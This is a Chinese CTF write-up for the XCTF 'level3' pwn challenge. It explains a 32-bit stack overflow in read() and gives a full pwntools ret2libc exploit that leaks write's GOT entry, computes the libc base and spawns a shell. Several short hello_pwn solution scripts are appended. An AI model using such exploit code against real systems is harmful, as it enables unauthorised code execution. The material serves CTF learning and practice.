攻防世界 Pwn level3

这篇博客详细介绍了如何在一个开启了NX保护的32位程序中,利用read函数的栈溢出,通过write函数泄露got表中的地址,进而计算libc基址,最后通过ret2libc技术执行system函数获取shell。过程中涉及到的主要步骤包括offset计算、两次攻击以及payload构造。

1.checksec看一下保护

[*] '/home/ububtu/ctf/level3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

32位,开启NX保护

2.IDA反汇编分析程序

main函数
在这里插入图片描述
vulnerable_function函数
在这里插入图片描述
程序代码很少,在read()存在栈溢出

3.漏洞利用

无system函数,无binsh字符串,有read和write函数,利用ret2libc。

主要思路有以下几点:

libc中的函数的相对地址是固定的,要想获取到system函数的地址,可以通过write()函数进行offset计算。

在vulnerable_function()中,先调用了write()函数,然后调用read()函数。第一次攻击利用write()函数返回到vulnerable_function()后,再进行read()函数调用,这样就进行二次攻击。

第一次攻击我们利用栈溢出将write()函数在got表中的真实地址泄露出来,然后减去libc中的offset,就可以得到libc的base address。

再利用相对offset计算出system和"/bin/sh"的真实地址

第二次攻击重新进入vulnerable_function()函数,再次通过栈溢出,利用system函数进行getshell。

4.exp附上

#思路:程序流程非常简单,可以突破的点只有read函数。通过覆盖返回地址,执行两次main函数。第一次泄漏write函数的地址,第二次执行system函数。

#导入pwn模块
from pwn import *

#获取远程进程对象
p=remote('111.198.29.45',41496)

#获取本地进程对象
#p = process("./level3/level3")

#获取文件对象
elf=ELF('./level3/level3')

#获取lib库对象
libc = ELF('./level3/libc_32.so.6')

#获取函数
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.sym['main']

#接收数据
p.recvuntil(":\n")

#char[88] ebp  write函数地址  write函数返回地址(返回到main函数)  write函数参数一(1)  write函数参数二(write_got地址)  write函数参数三(写4字节)
payload=0x88*'a'+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)

#获取write在got中的地址
write_got_addr=u32(p.recv())
print hex(write_got_addr)

#计算lib库加载基址
libc_base=write_got_addr-libc.sym['write']
print hex(libc_base)

#计算system的地址
system_addr = libc_base+libc.sym['system']
print hex(system_addr)

#计算字符串 /bin/sh 的地址。0x15902b为偏移,通过命令:strings -a -t x libc_32.so.6 | grep "/bin/sh" 获取
bin_sh_addr = libc_base + 0x15902b
print hex(bin_sh_addr)

#char[88] ebp system system函数的返回地址 system函数的参数(bin_sh_addr)
payload2=0x88*'a'+p32(0xdeadbeef)+p32(system_addr)+p32(0x11111111)+p32(bin_sh_addr)

#接收数据
p.recvuntil(":\n")

#发送payload
p.sendline(payload2)

#切换交互模式
p.interactive()

5.题目下载地址

点击下载

攻防世界pwn题hello pwn有多份解题代码可作为答案参考: - 代码一: ```python from pwn import * # io = process("./hello_pwn") io = remote("111.200.241.244",65258) io.recvuntil("lets get helloworld for bof") #unk_601068与dword_60106C之间有4字节的空间,所以使用4个A填充 #随后使用预期数据1853186401覆盖dword_60106C payload = b'A' * 4 + p64(1853186401) io.sendline(payload) io.interactive() ``` 此代码中,先建立远程连接,等待特定提示信息,构造包含填充字符和预期数据的`payload`,发送`payload`后进入交互模式 [^2]。 - 代码二: ```python from pwn import * context(os='linux', arch="amd64", log_level="debug") os = remote('61.147.171.105',61286) os.recvuntil('lets get helloworld for bof\n') payload = b'a'*(0x6c-0x68) + p64(1853186401) os.sendline(payload) os.interactive() ``` 该代码先设置上下文信息,建立远程连接,等待特定提示信息,根据内存地址差值构造`payload`,发送`payload`后进入交互模式 [^3]。 - 代码三: ```python from pwn import* p = remote('61.147.171.105',53737) # 将字符串转换为字节对象 str_bytes = 'a'*4 # 构造payload payload = str_bytes.encode() + p64(1853186401) p.recvuntil("lets get helloworld for bof\n") p.sendline(payload) p.interactive() ``` 代码从`pwn`库导入所有功能,创建远程连接对象,构造包含4个`a`的字符串并转换为字节对象,与预期数据拼接成`payload`,等待特定提示信息后发送`payload`,最后进入交互模式 [^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

==Microsoft==

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值